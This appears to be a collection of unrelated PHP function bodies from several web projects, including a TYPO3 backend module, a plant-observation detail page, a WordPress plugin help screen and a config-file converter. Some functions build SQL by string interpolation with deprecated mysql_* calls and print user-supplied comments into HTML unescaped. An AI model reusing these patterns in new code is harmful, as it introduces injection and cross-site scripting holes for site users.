{\n\t\t\t$('#tabs').tabs();\n\t\t\t$('a').click(function(e) {\n\t\t\t\tvar link = $(this).attr('href');\n\t\t\t\tvar index = 0;\n\t\t\t\tif (link.indexOf('#function') > -1) \n\t\t\t\t\tindex = $('#functions').index();\n\t\t\t\telse if (link.indexOf('#class') > -1) \n\t\t\t\t\tindex = $('#classes').index();\n\t\t\t\telse if (link.indexOf('#interface') > -1) \n\t\t\t\t\tindex = $('#interfaces').index();\n\t\t\t\telse if (link.indexOf('#include') > -1) \n\t\t\t\t\tindex = $('#include').index();\n\t\t\t\telse if (link.indexOf('#define') > -1) \n\t\t\t\t\tindex = $('#define').index();\n\t\t\t\telse if (link.indexOf('#file') > -1) {\n\t\t\t\t\t// File links: a bit different\n\t\t\t\t\tindex = $('#files').index();\n\t\t\t\t\t$('#tabs').tabs('option', 'active', index-1);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse \n\t\t\t\t\treturn true;\n\n\t\t\t\t$('#tabs').tabs('option', 'active', index-1);\n\t\t\t\telementToScroll = '[name='+link.replace('#','')+']';\n\t\t\t\tsetTimeout('DoScrollTo()',100);\n\t\t\t});\n\t\t});\n\t\t</script>\n\t</body>\n</html>\n\t\t\");\n\t\t\n\t\t// Save file\n\t\tif (!file_put_contents(\"PHPDocFill.html\", ($out))) die(\"The file could not be saved. You might not have the proper writing permissions in the \".getcwd().\" folder.\");\n\t\t\n\t\tdie(\"The manual has been generated and saved as PHPDocFill.html.<br /><a href='PHPDocFill.html' target=_blank>Click here to view this file in your browser</a>\");\n\t}", "function main()\t{\n\t\tglobal $BE_USER,$LANG,$BACK_PATH,$TCA_DESCR,$TCA,$CLIENT,$TYPO3_CONF_VARS;\n\n\t\t// Access check!\n\t\t// The page will show only if there is a valid page and if this page may be viewed by the user\n\t\t$this->pageinfo = t3lib_BEfunc::readPageAccess($this->id,$this->perms_clause);\n\t\t$access = is_array($this->pageinfo) ? 1 : 0;\n\n\t\tif (($this->id && $access) || ($BE_USER->user[\"admin\"] && !$this->id))\t{\n\n\t\t\t// Draw the header.\n\t\t\t$this->doc = t3lib_div::makeInstance(\"mediumDoc\");\n\t\t\t$this->doc->backPath = $BACK_PATH;\n\t\t\t$this->doc->form = '<form action=\"\" method=\"post\">';\n\n\t\t\t// JavaScript\n\t\t\t$this->doc->JScode = '\n\t\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\t\tscript_ended = 0;\n\t\t\t\t\tfunction jumpToUrl(URL) {\n\t\t\t\t\t\tdocument.location = URL;\n\t\t\t\t\t}\n\t\t\t\t</script>\n\t\t\t';\n\t\t\t$this->doc->postCode='\n\t\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\t\tscript_ended = 1;\n\t\t\t\t\tif (top.fsMod) top.fsMod.recentIds[\"web\"] = ' . intval($this->id) . ';\n\t\t\t\t</script>\n\t\t\t';\n\n\t\t\t$headerSection = $this->doc->getHeader(\"pages\",$this->pageinfo,$this->pageinfo[\"_thePath\"]).\"<br>\".$LANG->sL(\"LLL:EXT:lang/locallang_core.php:labels.path\").\": \".t3lib_div::fixed_lgd_pre($this->pageinfo[\"_thePath\"],50);\n\n\t\t\t$this->content .= $this->doc->startPage($LANG->getLL(\"title\"));\n\t\t\t$this->content .= $this->doc->header($LANG->getLL(\"title\"));\n\t\t\t$this->content .= $this->doc->spacer(5);\n\t\t\t$this->content.=$this->doc->section(\"\",$this->doc->funcMenu($headerSection,t3lib_BEfunc::getFuncMenu($this->id,\"SET[function]\",$this->MOD_SETTINGS[\"function\"],$this->MOD_MENU[\"function\"])));\n\t\t\t$this->content .= $this->doc->divider(5);\n\n\n\t\t\t// Render content:\n\t\t\t$this->moduleContent();\n\n\n\t\t\t// ShortCut\n\t\t\tif ($BE_USER->mayMakeShortcut())\t{\n\t\t\t\t$this->content .= $this->doc->spacer(20).$this->doc->section(\"\",$this->doc->makeShortcutIcon(\"id\",implode(\",\",array_keys($this->MOD_MENU)),$this->MCONF[\"name\"]));\n\t\t\t}\n\n\t\t\t$this->content.=$this->doc->spacer(10);\n\t\t} else {\n\t\t\t// If no access or if ID == zero\n\n\t\t\t$this->doc = t3lib_div::makeInstance(\"mediumDoc\");\n\t\t\t$this->doc->backPath = $BACK_PATH;\n\n\t\t\t$this->content.=$this->doc->startPage($LANG->getLL(\"title\"));\n\t\t\t$this->content.=$this->doc->header($LANG->getLL(\"title\"));\n\t\t\t$this->content.=$this->doc->spacer(5);\n\t\t\t$this->content.=$this->doc->spacer(10);\n\t\t}\n\t}", "function index_php($aData) {\n $file = '\n<?php\n\n// include Liber framework\ninclude_once \"../Liber/Liber.php\";\n\n// prepares enviroment to Liber application\nLiber::loadApp( realpath(\"../app/\").\"/\" );\n\n// avoid cache\nheader(\"Pragma: public\");\nheader(\"Expires: -1\");\nheader(\"Cache-Control: must-revalidate, post-check=0, pre-check=0\");\nheader(\"Cache-Control: private\",false);\nheader(\"Cache-Control: no-cache\");\n\nLiber::run();\n?>\n';\n\n return trim($file);\n}", "public function exec ()\n {\n // download and config the kitFramework\n $this->downloadAndConfigTheFramework();\n\n $relative_path = parse_url(WB_URL, PHP_URL_PATH);\n if (!empty($relative_path) && file_exists(WB_PATH.'/modules/kit_framework/Setup/htaccess.htt')) {\n $htaccess = file_get_contents(WB_PATH.'/modules/kit_framework/Setup/htaccess.htt');\n $htaccess = str_ireplace('{RELATIVE_PATH}', \"$relative_path/kit2\", $htaccess);\n file_put_contents(WB_PATH.'/kit2/.htaccess', $htaccess);\n }\n\n // download and config the Basic extension\n $this->downloadAndConfigTheBasicExtension();\n\n // add the output filter for the framework\n $this->addFilter();\n\n // copy the proxy.json\n if (file_exists(WB_PATH.'/modules/kit_framework/proxy.json')) {\n if (file_exists(WB_PATH.'/kit2/config') && !file_exists(WB_PATH.'/kit2/config/proxy.json')) {\n @copy(WB_PATH.'/modules/kit_framework/proxy.json', WB_PATH.'/kit2/config/proxy.json');\n }\n }\n }", "function main($content,$conf)\t{\r\n $this->conf=$conf;\r\n $this->pi_setPiVarDefaults();\r\n $this->pi_loadLL();\r\n $language = $GLOBALS['TSFE']->sys_language_uid;\r\n $GLOBALS[\"TSFE\"]->set_no_cache();\r\n $this->pi_USER_INT_obj=1;\t// Configuring so caching is not expected. This value means that no cHash params are ever set. We do this, because it's a USER_INT object!\r\n\r\n $mylanguage = language_iso_from_lang_id($this->cObj->data['sys_language_uid']);\r\n // Kuba ->\r\n\r\n // jQuery. \r\n $content .= file_get_contents('typo3conf/ext/iherbarium_observations/pi4/scripts.html');\r\n\r\n // <- Kuba\r\n\t\t\r\n traite_action();\r\n \r\n $numero_observation = desamorcer($_GET['numero_observation']);\r\n \r\n if($this->piVars['detail']) {\r\n $observation = explode('-', $this->piVars['detail']);\r\n $numero_observation = $observation[count($observation) - 1];\r\n if(intval($numero_observation)&&(!isUUID($this->piVars['detail']))) { // verify the parameter is not a uuid with last part as a good integer (but would not be a valid id)\r\n $rewriting = getRewriting($numero_observation, $language);\r\n if($rewriting) {\r\n $rewriting .= \"-\" . $numero_observation;\r\n if($rewriting != $this->piVars['detail']) {\r\n $redirect = explode($this->piVars['detail'], $_SERVER['REQUEST_URI']);\r\n header('Location: ' . t3lib_div::locationHeaderUrl($redirect[0] . $rewriting));\r\n }\r\n } else if(empty($rewriting)) {\r\n $rewriting .= $numero_observation;\r\n if($rewriting != $this->piVars['detail']) {\r\n $redirect = explode($this->piVars['detail'], $_SERVER['REQUEST_URI']);\r\n header('Location: ' . t3lib_div::locationHeaderUrl($redirect[0] . $rewriting));\r\n }\r\n }\r\n else {\r\n header('Location: ' . t3lib_div::locationHeaderUrl($this->pi_getPageLink(1)));\r\n }\r\n }\r\n // Numéro observation n'est pas un int\r\n else {\r\n\t$numero_ref = desamorcer($this->piVars['detail']);\r\n\t$sql_uuid=\"select idobs from iherba_observations where uuid_observation='$numero_ref' or uuid_specimen='$numero_ref'\";\r\n\t$result_uuid = mysql_query($sql_uuid) or die ('pb uuid');\r\n\t\r\n\tif(mysql_num_rows($result_uuid)>0)\r\n\t { // the uuid exist in the database\r\n\t $rowuid = mysql_fetch_assoc($result_uuid) ;\r\n\t $numero_observation = $rowuid[idobs];\r\n\t }\r\n\t else\r\n\t { //pas un int et pas un uuid existant\r\n\t header('Location: ' . t3lib_div::locationHeaderUrl($this->pi_getPageLink(1)));\r\n\t }\r\n\t \r\n }\r\n }\r\n\r\n if(!(ctype_digit($numero_observation)))\r\n { die();\r\n }\r\n \r\n\r\n $content.='<div id=\"bloc_contenu\"><h1>';\r\n $content.='<a href=\"https://twitter.com/share\" class=\"twitter-share-button \" data-lang=\"en\" data-count=\"none\" data-related=\"iHerbarium : Un botaniste dans votre smartphone\">Tweet</a>\r\n<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=\"//platform.twitter.com/widgets.js\";fjs.parentNode.insertBefore(js,fjs);}}(document,\"script\",\"twitter-wjs\");</script>';\r\n\r\n /* on récupère la visibilité de l'observation dont on souhaite avoir le détail,\r\n * si le propriétaire de cette observation la déclarée comme partiellement public (champ public\r\n * de la table iherba_observations à 'semi') alors la carte ne s'affichera pas dans le détail pour les autres membres du site */\r\n $sql_visibilite=\"select public,id_user from iherba_observations where idobs=$numero_observation\";\r\n $result_visibilite= mysql_query($sql_visibilite)or die ();\r\n $row_visibilite = mysql_fetch_assoc($result_visibilite);\r\n $visibilite=$row_visibilite[\"public\"];\r\n $iduser=$row_visibilite[\"id_user\"];//utilisateur qui a déposé cette observation\r\n\t \r\n $content.= get_string_language_sql(\"ws_observation_before_number\",$mylanguage).$numero_observation.\"\";\r\n\t\t\r\n $content.='</h1><div id=\"bloc_contenu_texte\">';\r\n\t\t \r\n /* Liste des dernières expertises faites sur la plante */\r\n $content.= affiche_expertise($numero_observation,$this,\"detail\",$demandenom);\r\n $montitre = affiche_expertise($numero_observation,$this,\"detail\",$demandenom,2);\r\n $libelle_roi_morphoexplication = desamorcer($montitre );\r\n \r\n //title header of the generated html\r\n $GLOBALS['TSFE']->content = preg_replace(\r\n '@<title>(.+):(.*)</title>@i',\r\n '<title> '.$montitre.' $1 $2</title>',\r\n\t$GLOBALS['TSFE']->content);\r\n\r\n\r\n /*Affichage des informations concernant l'observation */\r\n bd_connect();\r\n $sql=\"select date_depot,idobs,commentaires,address,longitude,latitude,uuid_observation,uuid_specimen,computed_date_seen_exif_or_smartphone from iherba_observations where idobs=$numero_observation\";\r\n $result = mysql_query($sql) or die ();\r\n \r\n if(! ($lobervation = mysql_fetch_assoc($result)))\r\n\treturn ; // no observation with this observation number\r\n\r\n if($demandenom>0)/// && ($GLOBALS['TSFE']->fe_user->user['uid']!=0)) everybody can give a name\r\n {\r\n\t\r\n\t$paramlien = array(numero_observation => $numero_observation,check=>456789);\r\n\t$link_text = get_string_language_sql(\"ws_give_a_plant_name\",$mylanguage);\r\n\t$content.= $this->pi_linkToPage($link_text,31,'',$paramlien);\r\n\t$content.=\" <br/><br/>\";\r\n }\r\n\t\t\r\n //$content.= codehtml_demande_morpho(\"0\",$this).\" <br/><br/>\";\r\n if(niveau_testeur($this)>0)\r\n {\r\n\t$content.=\"<br/>\";\r\n\t$content.=$this->pi_linkToPage(get_string_language_sql(\"ws_edit_roi_image\",$mylanguage),29,'',$paramlien);\r\n\t$content.=\"<br/><br/>\";\r\n\t\r\n\t// allow to \"moderate\" this observation\r\n\t$content.=codehtml_moderation($this,$numero_observation).\"<br/><br/>\";\t\r\n }\r\n\t\t\t\t\r\n if($lobervation[\"commentaires\"] !=\"\"){\r\n $content.= get_string_language_sql(\"ws_observation_comment\",$mylanguage) .\" \".$lobervation[\"commentaires\"].\"<br/><br/>\\n\";\r\n }\r\n if($lobervation[\"address\"] !=\"\"){\r\n $content.= get_string_language_sql(\"ws_observation_address\",$mylanguage) .\" \".$lobervation[\"address\"].\"<br/><br/>\\n\";\r\n }\r\n $nom_photo_final = array();\r\n $sql_photos=\"select id_obs,date_user,nom_photo_final from iherba_photos where id_obs=$numero_observation\";\r\n $result_photos = mysql_query($sql_photos) or die ();\r\n while ($row2 = mysql_fetch_assoc($result_photos)) {\r\n $date_user=$row2[\"date_user\"]; //date de la prise de l'observation\r\n $nom_photo_final[]=$row2[\"nom_photo_final\"];\r\n }\r\n \r\n //eventually, some medias video or sound\r\n $nom_media_final=array();\r\n $sql_media=\"select id_observation, date_depot, nom_media_final from iherba_medias where id_observation=$numero_observation \";\r\n $result_media = mysql_query($sql_media) or die ($sql_media);\r\n while ($row_media = mysql_fetch_assoc($result_media)) {\r\n $nom_media_final[]=$row_media[\"nom_media_final\"];\r\n }\r\n \r\n $date_uploaded = str_replace(\"-\",\"/\",$lobervation[\"date_depot\"]) ;\r\n $date_seen = $lobervation[\"computed_date_seen_exif_or_smartphone\"];\r\n\r\n if(($date_seen !=\"0000-00-00 00:00:00\")&&($date_seen !=\"\")&&($date_seen !=\"0\")){\r\n $content.= \"<br>\".get_string_language_sql(\"ws_seen_date_observation\",$mylanguage).\" \".str_replace(\"-\",\"/\",$date_seen).\"\\n\";\r\n }\r\n \r\n $content.= \"<br>\".get_string_language_sql(\"ws_upload_date_observation\",$mylanguage).\" \".$date_uploaded.\"<br/>\\n\";\r\n // Kuba ->\r\n\r\n if($GLOBALS['TSFE']->fe_user->user['uid'] == $iduser) { \r\n\t\t\r\n // Text\r\n $editButtonText = $this->pi_getLL('editButton', 'editButton', True);\r\n $deleteButtonText = $this->pi_getLL('deleteButton', 'deleteButton', True);\r\n $areYouSureText = $this->pi_getLL('deleteAreYouSure', 'deleteAreYouSure', True);\r\n\t\t \r\n // Edit Button\r\n $editLink = $this->pi_getPageLink('obsedit', '', array('obsId' => $numero_observation, 'obsAction' => 'edit'));\r\n $content .= '<form id=\"editForm\" method=\"post\" action=\"' . $editLink . '\">';\r\n $content .= '<input id=\"editLink\" type=\"submit\" value=\"' . $editButtonText . '\" />';\r\n //$content.= '<script>$(\"#editLink\").button({label : \"' . $editButtonText . '\"});</script>';\r\n $content .= '</form>';\r\n\t\t \r\n // Delete Button\r\n $deleteLink = $this->pi_getPageLink('obssave', '', array('obsId' => $numero_observation, 'obsAction' => 'delete', 'nextAction' => 'show'));\r\n $content .= '<form id=\"deleteForm\" method=\"post\" action=\"' . $deleteLink . '\">';\r\n $content .= '<input id=\"deleteLink\" type=\"submit\" value=\"' . $deleteButtonText . '\" />';\r\n $content .= '<script>$(\"#deleteForm\").submit(function(e) { var answer = confirm(\"' . $areYouSureText . '\"); return answer; })</script>';\r\n $content .= '</form>';\r\n\t\t\r\n }\r\n \r\n // <- Kuba\r\n\r\n\r\n // Kuba ->\r\n\r\n if( niveau_testeur()>0 ) {\r\n $actions = array(\"GenerateQuestions\", \"GenerateComparisons\", \"CleanAnswers\");\r\n\r\n $links =\r\n\tarray_map(\r\n\t\t function($action) use ($numero_observation) {\r\n\t\t return\r\n\t\t '<a ' . \r\n\t\t 'href=\"collaborative/question.php?action=' . $action .\r\n\t\t '&obsId=' . $numero_observation .\r\n\t\t '\">' . $action . '</a>';\r\n\t\t },\r\n\t\t $actions\r\n\t\t );\r\n\r\n $content .= iHerbarium\\mkString($links, \"<div style='margin: 10px;'>\", \"<br/>\", \"</div>\");\r\n }\r\n\r\n // <- Kuba\r\n\r\n $content.= get_string_language_sql(\"ws_observation_list_of_pictures\",$mylanguage).\"<br/>\\n\";\r\n foreach($nom_photo_final as $value){\r\n //Permet d'afficher l'image en taille réelle lorsque l'on clique dessus\r\n // si on est le propriétaire, on a l'image en qualité max et sans licence\r\n if($GLOBALS['TSFE']->fe_user->user['uid']==$iduser)\r\n\t$content.='<a href=\"'.repertoire_sources.\"/\".$value.'\" ><img src=\"'.repertoire_vignettes.\"/\".$value.'\" border=2 width=\"200\" /></blank></a>';\r\n else\r\n\t$content.='<a href=\"/scripts/large.php?name='.$value.'\" ><img src=\"'.repertoire_vignettes.\"/\".$value.'\" border=2 width=\"200\" /></blank></a>';\r\n }\r\n \r\n if(!empty($nom_media_final)){\r\n $content.= \"<br>\".get_string_language_sql(\"ws_observation_list_of_media\",$mylanguage).\"<br/>\\n\";\r\n foreach($nom_media_final as $value){\r\n\t$content.='<a href='.repertoire_sources.\"/\".$value.' >Video </a>';\r\n }\r\n $content.= \"<br>\";\r\n }\r\n \r\n // localisation is shown if public or for the owner \r\n if(($GLOBALS['TSFE']->fe_user->user['uid']==$iduser)|| ($visibilite==\"oui\")){\r\n if($lobervation[\"latitude\"]!=0 && $lobervation[\"longitude\"]!=0){\r\n\t$content.=\"<br/><br/>\".get_string_language_sql(\"ws_observation_was_localized\",$mylanguage);\r\n\t$localstring = get_string_language_sql(\"ws_observation_localized_lat_long\",$mylanguage);\r\n\t\r\n\t$localstring = str_replace('%1',round($lobervation[\"latitude\"],4),$localstring) ;\r\n\t$localstring = str_replace('%2',round($lobervation[\"longitude\"],4),$localstring) ;\r\n\t$content.= $localstring.\"<br/><br/>\\n\";\r\n\t$content.=fairecarte($lobervation[\"latitude\"],$lobervation[\"longitude\"]);\r\n\t\r\n\t$current_url = 'http://www'.substr(t3lib_div::getIndpEnv('HTTP_HOST'),strpos(t3lib_div::getIndpEnv('HTTP_HOST'),\".\",0));\r\n\tif(strpos($current_url,'?')===false)$current_url .= '?addzoom=1';\r\n\t$title_link = \" title='\".get_string_language_sql('ws_view_limitation_alt_add_limit',$mylanguage).\"' class=drillzoom \";\r\n\t$url=$current_url.\"&area_limitation=circle:\".$lobervation[\"latitude\"].','.$lobervation[\"longitude\"].',0.04';\r\n\t$content.=\"<br/>\". \"<a href=$url $title_link >\".get_string_language_sql(\"ws_set_limitation_circle\",$mylanguage).\"</a><br><br/>\";\r\n }\r\n else{\r\n\t$content.=\"<br/><br/>\".get_string_language_sql(\"ws_observation_was_not_localized\",$mylanguage);\r\n\tif(($GLOBALS['TSFE']->fe_user->user['uid']==$iduser) ||(niveau_testeur()>0))\r\n\t {\r\n\t $paramlien = array(numero_observation => $numero_observation,check=>456789);\r\n\t $content.= \"<br>\".$this->pi_linkToPage(get_string_language_sql(\"ws_observation_add_localization\",$mylanguage),97,'',$paramlien);//ws_observation_add_localization\r\n\t }\r\n\t\r\n\t \r\n }\r\n }\r\n \r\n //if(niveau_testeur()>0)\r\n if($GLOBALS['TSFE']->fe_user->user['uid']==1)\r\n\t{\r\n\t$show_delete_button=1;\r\n\t}\r\n\telse\r\n\t$show_delete_button=0;\r\n\t\r\n //if($GLOBALS['TSFE']->fe_user->user['uid']==1)\r\n //{\r\n \r\n $destination_morpho = $this->pi_getPageLink($GLOBALS['TSFE']->id);\r\n $content.=information_analyse($numero_observation,$GLOBALS['TSFE']->sys_language_uid,get_string_language_sql(\"ws_roi_morpho_explanation\",$mylanguage),$destination_morpho,$show_delete_button,$libelle_roi_morphoexplication);\r\n //}\r\n $content.= get_string_language_sql(\"ws_uuid_observation\",$mylanguage) .\" : \".$lobervation[\"uuid_observation\"].\"<br/><br/>\\n\";\r\n \r\n // if($GLOBALS['TSFE']->fe_user->user['uid']==$iduser){\r\n if($lobervation[\"latitude\"]!=0 && $lobervation[\"longitude\"]!=0){\r\n\t$content.= \"<br><strong>\".get_string_language_sql(\"ws_about_label_herbarium\",$mylanguage).\"</strong><br>\";\r\n \r\n \r\n\t$content.=get_string_language_sql(\"ws_go_page_with_qrcode\",$mylanguage);\r\n\t$paramlien = array(numero_observation => $numero_observation,check=>456789,template=>'compact');\r\n\t$content.= \"&nbsp;&nbsp;&nbsp;&nbsp;\".$this->pi_linkToPage(get_string_language_sql(\"ws_go_page_with_qrcode_compact\",$mylanguage),47,'',$paramlien);\r\n\t$paramlien = array(numero_observation => $numero_observation,check=>456789,template=>'classic');\r\n\t$content.= \"&nbsp;&nbsp;&nbsp;&nbsp;\".$this->pi_linkToPage(get_string_language_sql(\"ws_go_page_with_qrcode_classic\",$mylanguage),47,'',$paramlien);\r\n\t$paramlien = array(numero_observation => $numero_observation,check=>456789,template=>'complete');\r\n\t$content.= \"&nbsp;&nbsp;&nbsp;&nbsp;\".$this->pi_linkToPage(get_string_language_sql(\"ws_go_page_with_qrcode_complete\",$mylanguage),47,'',$paramlien);\r\n\t\r\n\t$paramlien = array();\r\n\t$content.= \"<br>\".$this->pi_linkToPage(get_string_language_sql(\"ws_go_page_choose_label\",$mylanguage),98,'',$paramlien);\r\n\t$content.= \"<br>\".get_string_language_sql(\"ws_uuid_specimen\",$mylanguage) .\" : \".$lobervation[\"uuid_specimen\"].\"<br/><br/>\\n\";\r\n \r\n }\r\n //if(niveau_testeur()>0)\r\n \r\n\r\n if(isset($_GET['cmpAll'])) {\r\n\r\n $local = iHerbarium\\LocalTypoherbariumDB::get();\r\n\r\n // COMPARATOR\r\n $questionsOptions = $local->loadQuestionsOptions();\r\n $palette = $local->loadColorPalette(\"Basic\");\r\n $tagsOptions = $local->loadTagsOptions();\r\n //$content .= \"<h4>QuestionsOptions</h4><pre>\" . var_export($questionsOptions, True) . \"</pre>\";\r\n //$content .= \"<h4>Palette</h4><pre>\" . var_export($palette, True) . \"</pre>\";\r\n //$content .= \"<h4>TagsOptions</h4><pre>\" . var_export($tagsOptions, True) . \"</pre>\";\r\n \r\n $comparator = new iHerbarium\\MyComparator($questionsOptions, $palette, $tagsOptions);\r\n\r\n // CURRENT MODEL\r\n $obs = $local->loadObservation($numero_observation);\r\n $model = iHerbarium\\APModel::create($obs);\r\n //$content .= \"<h4>Model</h4><pre>\" . var_export($model, True) . \"</pre>\";\r\n\r\n // OTHER MODELS\r\n $uid = $iduser;\r\n \r\n // Observations' Group\r\n $groupId = 1; // Alexandre\r\n if($_GET['cmpAll'])\r\n\t$groupId = desamorcer($_GET['cmpAll']);\r\n\r\n $group = $local->loadGroup($groupId);\r\n\t \r\n // Models\r\n $models = array_map(function($obs) { return iHerbarium\\APModel::create($obs); }, $group->getAllObservations());\r\n //$content .= \"<h4>Models</h4><pre>\" . var_export($models, True) . \"</pre>\";\r\n\r\n // Comparing results\r\n $cmpResults = \r\n\tarray_map(\r\n\t\t function($model2) use ($comparator, $model) {\r\n\t\t $cmpModels = $comparator->compareModels($model, $model2);\r\n\t\t return $cmpModels;\r\n\t\t }, $models);\r\n //$content .= \"<h4>CmpModels</h4><pre>\" . var_export($cmpResults, True) . \"</pre>\";\r\n \r\n // Sort by similarity of a given tag.\r\n /*\r\n\t$tagToSort = 7; // Tag 7 - flower.\r\n\tuasort($cmpResults, \r\n\tfunction($r1, $r2) { return - iHerbarium\\cmp(\r\n\tisset($r1[7]) ? $r1[7]['similarity'] : 0, \r\n\tisset($r2[7]) ? $r2[7]['similarity'] : 0\r\n\t); } );\r\n */\r\n\r\n // Sort by similarity of models.\r\n uasort($cmpResults, \r\n\t function($r1, $r2) { return - iHerbarium\\cmp(\r\n\t\t\t\t\t\t\t $r1['similarity'],\r\n\t\t\t\t\t\t\t $r2['similarity']\r\n\t\t\t\t\t\t\t ); } );\r\n \r\n\r\n //$content .= \"<h4>CmpModels</h4><pre>\" . var_export($cmpResults, True) . \"</pre>\";\r\n\r\n // ListView\r\n $thisPlugin = $this;\r\n\r\n $cmpToContent = \r\n\tarray_map(\r\n\t\t function($obsId, $cmp) use ($thisPlugin) {\r\n\t\t $content = \"<h2>\" . $obsId . \"</h2>\";\r\n\t\t $content .= affiche_une_observation_dans_liste($thisPlugin, $obsId, \"public\");\r\n\t\t //$content .= \"<h4>Cmp</h4><pre>\" . var_export($cmp, True) . \"</pre>\";\r\n\t\t $content .= \"<h4>Cmp</h4>\" . iHerbarium\\arrayToHTML($cmp);\r\n\t\t return $content;\r\n\t\t }, \r\n\t\t array_keys($cmpResults), $cmpResults\r\n\t\t );\r\n \r\n $content .= implode($cmpToContent, \"\\n\");\r\n\r\n }\r\n\r\n\r\n $content.=\"\r\n\t\t<!--fin bloc_contenu--> \\n\";\r\n return $this->pi_wrapInBaseClass($content);\r\n }", "function aman_create_page() {\n\trequire_once(get_template_directory() . '/inc/templates/aman-admin.php');\n}", "function convert_local_inc() {\n if(defined('TZR_IS5')) {\n msg('Not converting local.inc file');\n return;\n }\n msg('Converting local.inc file');\n \n // verification du / à la fin du home_root_url\n if(!eregi('(.*)/$',$GLOBALS['HOME_ROOT_URL'])) $GLOBALS['HOME_ROOT_URL'].='/';\n $txt='<?php'.\"\\n\";\n $txt.='// converted to release 5 with update script'.\"\\n\";\n $txt.='define(\"TZR_IS5\",1);'.\"\\n\";\n $txt.='$DATABASE_USER = \"'.$GLOBALS['DATABASE_USER'].'\";'.\"\\n\";\n $txt.='$DATABASE_PASSWORD = \"'.$GLOBALS['DATABASE_PASSWORD'].'\";'.\"\\n\";\n $txt.='$DATABASE_HOST = \"'.$GLOBALS['DATABASE_HOST'].'\";'.\"\\n\";\n $txt.='$DATABASE_NAME = \"'.$GLOBALS['DATABASE_NAME'].'\";'.\"\\n\";\n $txt.='$LANG_DATA = \"'.$GLOBALS['LANG_DATA'].'\";'.\"\\n\";\n $txt.='$LANG_USER = \"'.$GLOBALS['LANG_USER'].'\";'.\"\\n\";\n $txt.='$HOME = \"'.$GLOBALS['HOME'].'\";'.\"\\n\";\n $txt.='$LIBTHEZORRO = \"/home/tzr-master/tzr-4.6/\";'.\"\\n\";\n $txt.='$HOME_ROOT_URL = \"'.$GLOBALS['HOME_ROOT_URL'].'\";'.\"\\n\";\n $txt.='$SELF_PREFIX = \"\";'.\"\\n\";\n if($GLOBALS['START_CLASS']=='tzrgenericsite')\n $txt.='$START_CLASS = \\'Corail\\';'.\"\\n\";\n else\n $txt.='$START_CLASS = \"'.$GLOBALS['START_CLASS'].'\";'.\"\\n\";\n if($GLOBALS['LANG_DATA']=='FR') \n $txt.='$TZR_LANGUAGES=array(\"FR\"=>\"FR\");'.\"\\n\";\n else\n $txt.='$TZR_LANGUAGES=array(\"GB\"=>\"en\");'.\"\\n\";\n $txt.=\"session_cache_limiter('private, must-revalidate');\\n\";\n $txt.=\"?>\\n\";\n if($GLOBALS['_opt_backup']) copy($GLOBALS['_opt_config_inc'], $GLOBALS['backup'].'local.inc');\n $fp=fopen($GLOBALS['_opt_config_inc'],\"w\");\n fwrite($fp, $txt);\n fclose($fp);\n msg(\"Local file converted. Restart the procedure.\",0);\n die('');\n}", "public static function installation_page()\n\t{\n\t\tmz_Func::user_has_access();\n\n\t\techo '\n\n\t\t\t<div class=\"wrap\">\n\n\t\t\t\t<h2>Mentorz - Installation Guidelines</h2>\n\t\t\t\t<p>Installation.</p>\n\t\t\t\t<p>Create three pages.</p>\n\t\t\t\t<ol>\n\t\t\t\t\t<li>/'.PLUGIN_ROOT_PAGE.'</li>\n\t\t\t\t\t<li>/'.PLUGIN_CREATE_PAGE.'</li>\n\t\t\t\t\t<li>/'.PLUGIN_READ_PAGE.'</li>\n\t\t\t\t</ol>\n\n\t\t\t\t<p>\n\t\t\t\tThese pages can be modified in settings.php if required.\n\t\t\t\t</p>\n\n\t\t\t\t<h3>Users</h3>\n\t\t\t\t<p>The system uses two types of user.</p>\n\t\t\t\t<ol>\n\t\t\t\t\t<li>Mentor</li>\n\t\t\t\t\t<li>Student</li>\n\t\t\t\t</ol>\n\n\t\t\t\t<p>When managing users in the WordPress User module ensure that users have the proper role.</p>\n\n\n\t\t\t\t<h3>Tags</h3>\n\n\t\t\t\t<p>The following tags are designed to be placed inside the WordPress page content area</p>\n\n\t\t\t\t<p><input value=\"[mentorz_inbox]\"> can be placed in the page to generate the inbox view. Pages must be /inbox (Or defined above)</p>\n\n\t\t\t\t<p><input value=\"[mentorz_create]\"> can be placed in the page to generate the message creation form. Page must be /inbox/create (Or defined above)</p>\n\n\t\t\t\t<p><input value=\"[mentorz_show]\"> can be placed in the page to generate the message view. Page must be /inbox/show (Or defined above)</p>\n\n\t\t\t\t<h3>Emails</h3>\n\t\t\t\t<p>When a message is generated the system will email the relevant user to notify them of the message</p>\n\t\t\t\t<p>The message content is NOT emailed for security reasons.</p>\n\t\t\t\t<p>The email details can be modified in settings.php</p>\n\n\t\t\t</div>\n\n\t\t';\n\t}", "function havp_install() {\n\tupdate_status(\"HAVP check system ...\\n\");\n\thavp_check_system();\n\t// Remove stale scripts\n\tunlink_if_exists(HVDEF_SCRIPT_DIR . \"/havp\");\n\tunlink_if_exists(HVDEF_SCRIPT_DIR . \"/clamd.sh\");\n\n\thavp_avset_resync();\n\thavp_update_AV();\n\n\tupdate_status(\"Starting update of AV databases. Wait 5-20 min before use ...\");\n}", "function download_suket_019()\n\t{\n\t\tforce_download('assets/uploads/warga/suket_019/template_surat_pernyataan_penyerahan_tanah.docx', NULL);\n\t}", "public function perform()\n {\n $docToHtmlPlugin = new DocToHtmlPlugin;\n $fileTable = $this->_db->getTable('File');\n\n $select = $this->_db->select()\n ->from($this->_db->File)\n ->where('mime_type IN (?)', $docToHtmlPlugin->getPdfMimeTypes());\n\n // Iterate all docx file records.\n $pageNumber = 1; $spleen = '';\n while ($files = $fileTable->fetchObjects($select->limitPage($pageNumber, 50)))\n {\n foreach ($files as $file)\n {\n $source_file = FILES_DIR. '/'. $file->getStoragePath();\n \n file_put_contents('/tmp/bleent16', $source_file);\n \n $html = $docToHtmlPlugin->pandoc2Html5($source_file);\n $fragment_filename = $file['original_filename']. '.shtml';\n file_put_contents(DOCTOHTML_FILES_DIR. '/'. $fragment_filename, $html);\n\n/*\n $spleen .= print_r($file, true). PHP_EOL.PHP_EOL.PHP_EOL;\n // Delete any existing PDF text element texts from the file.\n $textElement = $file->getElement(\n PdfTextPlugin::ELEMENT_SET_NAME,\n PdfTextPlugin::ELEMENT_NAME\n );\n $file->deleteElementTextsByElementId(array($textElement->id));\n\n // Extract the PDF text and add 